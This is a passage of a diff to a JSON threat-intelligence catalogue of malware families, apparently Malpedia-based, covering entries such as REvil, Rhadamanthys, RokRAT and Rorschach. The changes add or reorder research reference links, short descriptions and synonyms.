"https://www.youtube.com/watch?v=QYQQUUpU04s", + "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", + "https://www.certego.net/en/news/malware-tales-sodinokibi/", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", + "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", + "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", + "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", + "https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/", + "https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/", + "https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.secureworks.com/research/revil-sodinokibi-ransomware", + "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", + "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", + "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", + "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", + "https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/", + "https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/", + "https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/", + "https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", "https://www.youtube.com/watch?v=tZVFMVm5GAk", - "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/" + "https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/", + "https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://ke-la.com/will-the-revils-story-finally-be-over/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/", + "https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html", + "https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/", + "https://securelist.com/sodin-ransomware/91473/", + "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", + "https://asec.ahnlab.com/ko/19860/", + "https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/", + "https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", + "https://analyst1.com/file-assets/History-of-REvil.pdf", + "https://twitter.com/_alex_il_/status/1412403420217159694", + "https://twitter.com/svch0st/status/1411537562380816384", + "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", + "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", + "https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/", + "https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", + "https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.amossys.fr/sodinokibi-malware-analysis.html", + "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", + "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", + "https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/", + "https://www.connectwise.com/resources/revil-profile", + "https://isc.sans.edu/diary/27012", + "https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states", + "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs" ], "synonyms": [ "Sodin", @@ -39558,16 +41635,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor", - "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", - "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/", "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/" + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran" ], "synonyms": [], "type": [] @@ -39575,6 +41652,26 @@ "uuid": "daddd1dc-c415-4970-89ee-526ee8de2ec1", "value": "RGDoor" }, + { + "description": "According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.\r\n\r\nAt the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys", + "https://www.accenture.com/us-en/blogs/security/information-stealer-malware-on-dark-web", + "https://threatmon.io/rhadamanthys-stealer-analysis-threatmon/", + "https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88", + "https://www.malware-traffic-analysis.net/2023/01/03/index.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023", + "https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/", + "https://research.checkpoint.com/2023/rhadamanthys-the-everything-bagel-infostealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "50d322d7-c7e0-4d9b-9996-e5767caa8f1c", + "value": "Rhadamanthys" + }, { "description": "Ransomware.", "meta": { @@ -39606,8 +41703,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-spoofing-reeds-rietspoof/", "https://blog.avast.com/rietspoof-malware-increases-activity", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-spoofing-reeds-rietspoof/", "https://decoded.avast.io/threatintel/spoofing-in-the-reeds-with-rietspoof/" ], "synonyms": [], @@ -39621,8 +41718,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rifdoor", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://global.ahnlab.com/global/upload/download/techreport/[AhnLab]Andariel_a_Subgroup_of_Lazarus%20(3).pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/" ], "synonyms": [], @@ -39671,14 +41768,27 @@ "uuid": "a85b0619-ed8e-4324-8603-af211d682dac", "value": "Ripper ATM" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.risepro", + "https://blog.sekoia.io/new-risepro-stealer-distributed-by-the-prominent-privateloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "20ba0ede-454c-461d-a0e1-c053a838faa2", + "value": "RisePro" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/", "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], @@ -39692,7 +41802,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3", - "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/" + "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/", + "https://twitter.com/URSNIFleak" ], "synonyms": [], "type": [] @@ -39705,14 +41816,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rms", - "https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://blog.yoroi.company/research/ta505-is-expanding-its-operations/", - "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf", - "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/", "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", - "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/" + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/", + "https://blog.yoroi.company/research/ta505-is-expanding-its-operations/", + "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf" ], "synonyms": [ "Gussdoor", @@ -39728,25 +41839,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.robinhood", - "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", - "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/", - "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://goggleheadedhacker.com/blog/post/12", "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", "https://twitter.com/VK_Intel/status/1121440931759128576", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", "https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/", "https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/", - "https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/", - "https://goggleheadedhacker.com/blog/post/12", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/" + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/", + "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/" ], "synonyms": [ "RobbinHood" @@ -39775,10 +41886,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader", - "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" + "https://intel471.com/blog/a-brief-history-of-ta505" ], "synonyms": [], "type": [] @@ -39804,8 +41915,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin", "https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/" ], @@ -39833,31 +41944,35 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat", - "http://v3lo.tistory.com/24", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf", - "https://unit42.paloaltonetworks.com/atoms/moldypisces/", - "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html", "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", - "https://www.ibm.com/downloads/cas/Z81AVOY7", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", - "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", - "https://www.youtube.com/watch?v=uoBQE5s2ba4", - "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", - "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", - "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", - "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf", + "https://asec.ahnlab.com/en/51751/", + "https://www.ibm.com/downloads/cas/Z81AVOY7", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://www.youtube.com/watch?v=uoBQE5s2ba4", + "http://v3lo.tistory.com/24", + "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", + "http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", + "https://www.intezer.com/apt37-final1stspy-reaping-the-freemilk/", + "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://research.checkpoint.com/2023/chain-reaction-rokrats-missing-link/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection" + "https://twitter.com/ESETresearch/status/1575103839115804672", + "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html", + "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", + "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", + "https://unit42.paloaltonetworks.com/atoms/moldypisces/", + "https://medium.com/s2wblog/scarcruft-bolsters-arsenal-for-targeting-individual-android-devices-97d2bcef4ab" ], "synonyms": [ "DOGCALL" @@ -39867,6 +41982,23 @@ "uuid": "16dcc67b-4415-4620-818d-7ca24a5ccaf5", "value": "RokRAT" }, + { + "description": "ROLLCOAST is a ransomware program that encrypts files on logical drives attached to a system. ROLLCOAST is a Dynamic Linked Library (DLL) with no named exports. When observed by Mandiant it uniquely had only one ordinal export 0x01. This suggested the sample was designed to avoid detection and be invoked within memory, possibly through BEACON provided to affiliates. Incident responders working on similar intrusions should capture memory for analysis.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rollcoast", + "https://www.mandiant.com/resources/sabbath-ransomware-affiliate" + ], + "synonyms": [ + "Arcane", + "S4bb47h", + "Sabbath" + ], + "type": [] + }, + "uuid": "a3178bd5-719b-4065-9a55-d13bb34e5c14", + "value": "ROLLCOAST" + }, { "description": "", "meta": { @@ -39887,6 +42019,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat", + "https://blogs.blackberry.com/en/2022/10/unattributed-romcom-threat-actor-spoofing-popular-apps-now-hits-ukrainian-militaries", + "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass", + "https://cert.gov.ua/article/3349703", "https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/" ], "synonyms": [], @@ -39912,14 +42047,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rook", - "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/", - "https://seguranca-informatica.pt/rook-ransomware-analysis/", "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit/NightSky_Ransomware%E2%80%93just_a_Rook_RW_fork_in_VMProtect_suit.md", "https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://chuongdong.com/reverse%20engineering/2022/01/06/RookRansomware/", + "https://seguranca-informatica.pt/rook-ransomware-analysis/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], "type": [] @@ -39939,6 +42074,38 @@ "uuid": "b4a3d0ef-2d7b-4da5-8f90-8213f8f318d9", "value": "Roopirs" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "68050d50-eece-43ba-8668-0825eab940f0", + "value": "Roopy" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach", + "https://www.trendmicro.com/en_us/research/23/d/an-analysis-of-the-bablock-ransomware.html", + "https://research.checkpoint.com/2023/rorschach-a-new-sophisticated-and-fast-ransomware/", + "https://www.group-ib.com/blog/bablock-ransomware/", + "https://medium.com/@simone.kraus/rorschach-ransomware-analysis-with-attack-flow-7fa5ff613a75", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/23/d/an-analysis-of-the-bablock-ransomware-/iocs-an-analysis-of-the-babLock-ransomware.txt" + ], + "synonyms": [ + "BabLock" + ], + "type": [] + }, + "uuid": "86c3434c-ca86-4109-b0fc-61d14d59505c", + "value": "Rorschach Ransomware" + }, { "description": "", "meta": { @@ -39959,7 +42126,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roshtyak", - "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/" + "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", + "https://unit42.paloaltonetworks.com/unsigned-dlls/", + "https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ], "synonyms": [], "type": [] @@ -39972,8 +42142,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rotorcrypt", - "https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html", - "https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/" + "https://www.bleepingcomputer.com/forums/t/629699/rotorcrypt-rotocrypt-ransomware-support-topic-tar-c400-c300-granit/", + "https://id-ransomware.blogspot.com/2016/10/rotorcrypt-ransomware.html" ], "synonyms": [ "RotoCrypt", @@ -39989,8 +42159,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rover", - "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/", - "https://securelist.com/apt-trends-report-q3-2020/99204/" + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" ], "synonyms": [], "type": [] @@ -40003,15 +42173,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix", - "https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf", - "https://0xc0decafe.com/malware-analysts-guide-to-aplib-decompression/", - 